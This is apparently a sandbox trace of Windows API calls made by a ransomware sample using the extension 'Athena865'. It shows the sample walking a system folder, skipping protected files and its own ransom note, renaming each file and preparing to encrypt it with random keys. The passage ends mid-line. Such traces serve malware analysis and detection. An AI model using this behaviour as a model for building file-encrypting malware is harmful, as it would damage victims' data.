hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x5a98d700, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x5a98d700, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x5aa25c80, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", cAlternateFileName="{BBEE4~1")) returned 1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2=".") returned 1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="..") returned 1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="windows") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="temp") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="boot") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.278] lstrlenW (lpString="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo") returned 56 [0100.278] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo" | out: lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo") returned="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo" [0100.278] lstrlenW (lpString="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo") returned 56 [0100.278] lstrlenW (lpString="Athena865") returned 9 [0100.278] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.278] lstrlenW (lpString=".dll") returned 4 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.278] lstrlenW (lpString=".lnk") returned 4 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.278] lstrlenW (lpString=".ini") returned 4 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.278] lstrlenW (lpString=".sys") returned 4 [0100.278] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.278] lstrlenW (lpString="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo") returned 56 [0100.278] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo.Athena865") returned 113 [0100.279] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.280] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.280] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.280] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.281] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.281] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.281] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.282] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.285] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.286] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.286] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.287] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x60473f20, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x60473f20, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x605cab80, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", cAlternateFileName="{BBEE4~2")) returned 1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="ids.txt") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="ntuser.dat") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="perflogs") returned -1 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2="MSBuild") returned -1 [0100.287] lstrlenW (lpString="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo") returned 56 [0100.287] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo" | out: lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo") returned="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo" [0100.287] lstrlenW (lpString="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo") returned 56 [0100.287] lstrlenW (lpString="Athena865") returned 9 [0100.287] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.287] lstrlenW (lpString=".dll") returned 4 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.287] lstrlenW (lpString=".lnk") returned 4 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.287] lstrlenW (lpString=".ini") returned 4 [0100.287] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.287] lstrlenW (lpString=".sys") returned 4 [0100.288] lstrcmpiW (lpString1="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.288] lstrlenW (lpString="{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo") returned 56 [0100.288] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo.Athena865") returned 113 [0100.288] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.288] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{BBEE4ABA-5DA4-47F0-BD54-17C95DFB7E64}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{bbee4aba-5da4-47f0-bd54-17c95dfb7e64}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.288] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.289] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.289] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.289] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.289] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.291] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.292] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.293] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.293] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.293] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x52016080, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x52016080, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x520ae600, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", cAlternateFileName="{C3F59~1")) returned 1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2=".") returned 1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="..") returned 1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="windows") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="bootmgr") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="temp") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="pagefile.sys") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="boot") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="ids.txt") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="ntuser.dat") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="perflogs") returned -1 [0100.293] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2="MSBuild") returned -1 [0100.293] lstrlenW (lpString="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo") returned 56 [0100.294] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo" | out: lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo") returned="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo" [0100.294] lstrlenW (lpString="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo") returned 56 [0100.294] lstrlenW (lpString="Athena865") returned 9 [0100.294] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.294] lstrlenW (lpString=".dll") returned 4 [0100.294] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.294] lstrlenW (lpString=".lnk") returned 4 [0100.294] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2=".lnk") returned 1 [0100.294] lstrlenW (lpString=".ini") returned 4 [0100.294] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2=".ini") returned 1 [0100.294] lstrlenW (lpString=".sys") returned 4 [0100.294] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo", lpString2=".sys") returned 1 [0100.294] lstrlenW (lpString="{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo") returned 56 [0100.294] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo.Athena865") returned 113 [0100.294] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c3f59859-dd84-4710-b6be-740f016ad023}_driverpackageinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c3f59859-dd84-4710-b6be-740f016ad023}_driverpackageinfo.athena865"), dwFlags=0x1) returned 1 [0100.295] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C3F59859-DD84-4710-B6BE-740F016AD023}_DriverPackageInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c3f59859-dd84-4710-b6be-740f016ad023}_driverpackageinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.295] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=56376) returned 1 [0100.296] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.296] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.296] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.296] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdf40, lpName=0x0) returned 0x154 [0100.298] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdf40) returned 0x100000 [0100.301] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.301] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.301] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.302] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x59421100, ftCreationTime.dwHighDateTime=0x1d305f6, ftLastAccessTime.dwLowDateTime=0x59421100, ftLastAccessTime.dwHighDateTime=0x1d305f6, ftLastWriteTime.dwLowDateTime=0x59551c00, ftLastWriteTime.dwHighDateTime=0x1d305f6, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", cAlternateFileName="{C3F59~2")) returned 1 [0100.302] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.302] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.302] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2=".") returned 1 [0100.302] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2="..") returned 1 [0100.302] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2="windows") returned -1 [0100.302] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2="bootmgr") returned -1 [0100.303] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2="temp") returned -1 [0100.303] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2="pagefile.sys") returned -1 [0100.303] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2="boot") returned -1 [0100.303] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo" | out: lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo") returned="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo" [0100.303] lstrlenW (lpString="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo") returned 56 [0100.303] lstrlenW (lpString="Athena865") returned 9 [0100.303] lstrcmpiW (lpString1="pdateInfo", lpString2="Athena865") returned 1 [0100.303] lstrlenW (lpString=".dll") returned 4 [0100.303] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2=".dll") returned 1 [0100.303] lstrlenW (lpString=".lnk") returned 4 [0100.303] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2=".lnk") returned 1 [0100.303] lstrlenW (lpString=".ini") returned 4 [0100.303] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2=".ini") returned 1 [0100.303] lstrlenW (lpString=".sys") returned 4 [0100.303] lstrcmpiW (lpString1="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo", lpString2=".sys") returned 1 [0100.303] lstrlenW (lpString="{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo") returned 56 [0100.303] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\SppGroupCache\\{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo.Athena865") returned 113 [0100.303] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c3f59859-dd84-4710-b6be-740f016ad023}_windowsupdateinfo"), lpNewFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c3f59859-dd84-4710-b6be-740f016ad023}_windowsupdateinfo.athena865"), dwFlags=0x1) returned 1 [0100.304] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\SppGroupCache\\{C3F59859-DD84-4710-B6BE-740F016AD023}_WindowsUpdateInfo.Athena865" (normalized: "c:\\system volume information\\spp\\sppgroupcache\\{c3f59859-dd84-4710-b6be-740f016ad023}_windowsupdateinfo.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0100.304] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=432) returned 1 [0100.304] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0100.305] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0100.305] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.305] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b0, lpName=0x0) returned 0x154 [0100.309] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b0) returned 0x100000 [0100.310] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0100.311] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0100.311] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0100.311] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xfd239fc0, ftCreationTime.dwHighDateTime=0x1d2fafa, ftLastAccessTime.dwLowDateTime=0xfd239fc0, ftLastAccessTime.dwHighDateTime=0x1d2fafa, ftLastWriteTime.dwLowDateTime=0xfd2d2540, ftLastWriteTime.dwHighDateTime=0x1d2fafa, nFileSizeHigh=0x0, nFileSizeLow=0xdc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo", cAlternateFileName="{C4C23~1")) returned 1 [0100.312] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0100.312] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0100.312] lstrcpyW (in: lpString1=0x241e8a6, lpString2="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo" | out: lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo") returned="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo" [0100.312] lstrlenW (lpString="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo") returned 56 [0100.312] lstrlenW (lpString="Athena865") returned 9 [0100.312] lstrcmpiW (lpString1="ckageInfo", lpString2="Athena865") returned 1 [0100.312] lstrlenW (lpString=".dll") returned 4 [0100.312] lstrcmpiW (lpString1="{C4C23D0F-5069-470F-9760-27EB797F66C2}_DriverPackageInfo", lpString2=".dll") returned 1 [0100.312] lstrlenW (lpString=".lnk") returned 